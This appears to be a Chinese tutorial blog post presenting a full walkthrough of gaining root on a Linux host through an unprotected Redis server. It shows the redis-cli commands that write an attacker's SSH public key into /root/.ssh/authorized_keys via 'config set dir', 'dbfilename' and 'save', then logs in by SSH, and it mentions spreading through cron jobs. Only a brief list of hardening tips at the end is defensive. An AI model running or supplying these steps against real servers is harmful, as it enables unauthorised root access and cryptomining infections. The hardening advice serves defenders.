这篇文章主要介绍Redis挖矿原理的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

演示一下如果通过Redis进行提权获取远程服务器的Root用户。

1、首先我们需要一些先决条件

条件一:你首先要有一个Redis,并且我们要知道他的端口【默认6379】;

条件二:Redis的密码不能过于复杂,或者没有密码;

条件三:启动Redis的用户最好是Root用户,这样破坏性更大;

2、开始搞事情

2.1 创建一对秘钥

通过ssh-keygen生成一对,当然可以使用已经有的都没有问题。

root@kali:/usr/local/src#ssh-keygenGeneratingpublic/privatersakeypair.Enterfileinwhichtosavethekey(/root/.ssh/id_rsa):/tmp/rediskey/id_rsa

接下来通过公钥生成攻击键值

(echo-e"\n\n";catid_rsa.pub;echo-e"\n\n";)>foo.txt

内容如下

root@kali:/tmp/rediskey#catfoo.txtssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1root@kali

这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。

2.2 配置Key到Redis中

操作如下:

root@kali:/tmp/rediskey#catfoo.txt|redis-cli-h192.168.243.129-xsetbarOK

登录Redis进行检查,是否已经写入进Redis中。

root@kali:/tmp/rediskey#redis-cli-h192.168.243.129192.168.243.129:6379>getbar"\n\n\nssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1root@kali\n\n\n\n"

2.3 通过Redis保存机制替换系统文件

且看如下操作

192.168.243.129:6379>configsetdir/root/.sshOK192.168.243.129:6379>configgetdir1)"dir"2)"/root/.ssh"192.168.243.129:6379>configsetdbfilename"authorized_keys"OK192.168.243.129:6379>saveOK192.168.243.129:6379>exit

这个时候,我们登录远程主机看下效果。

root@kali:/tmp/rediskey#ssh-iid_rsaroot@192.168.243.129Theauthenticityofhost'192.168.243.129(192.168.243.129)'can'tbeestablished.ECDSAkeyfingerprintisSHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.Areyousureyouwanttocontinueconnecting(yes/no)?yesWarning:Permanentlyadded'192.168.243.129'(ECDSA)tothelistofknownhosts.Linuxkali4.19.0-kali3-amd64#1SMPDebian4.19.20-1kali1(2019-02-14)x86_64Lastlogin:SunApr1420:52:402019from192.168.243.1root@kali:~#

OK,到这里我们已经提权成功了,那我们看下导出文件到底是什么呢?其实就是Redis的保存文件形式罢了,有兴趣可以自己打开看看,这里不再展示。

3、如何预防

这个漏洞威力还是挺大的,我们现在只是拿到主机权限一个而已,加入放到定时任务执行一些脚本然后在批量感染呢?

防范的技巧如下:

Redis不要监听在危险IP上,如果有请加防火墙控制

Redis一定要增加密码限制,且不能是弱口令;

Redis尽量不要用Root用户身份来启动。

做到如上三点防范Redis挖矿,没问题的

以上是“Redis挖矿原理的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!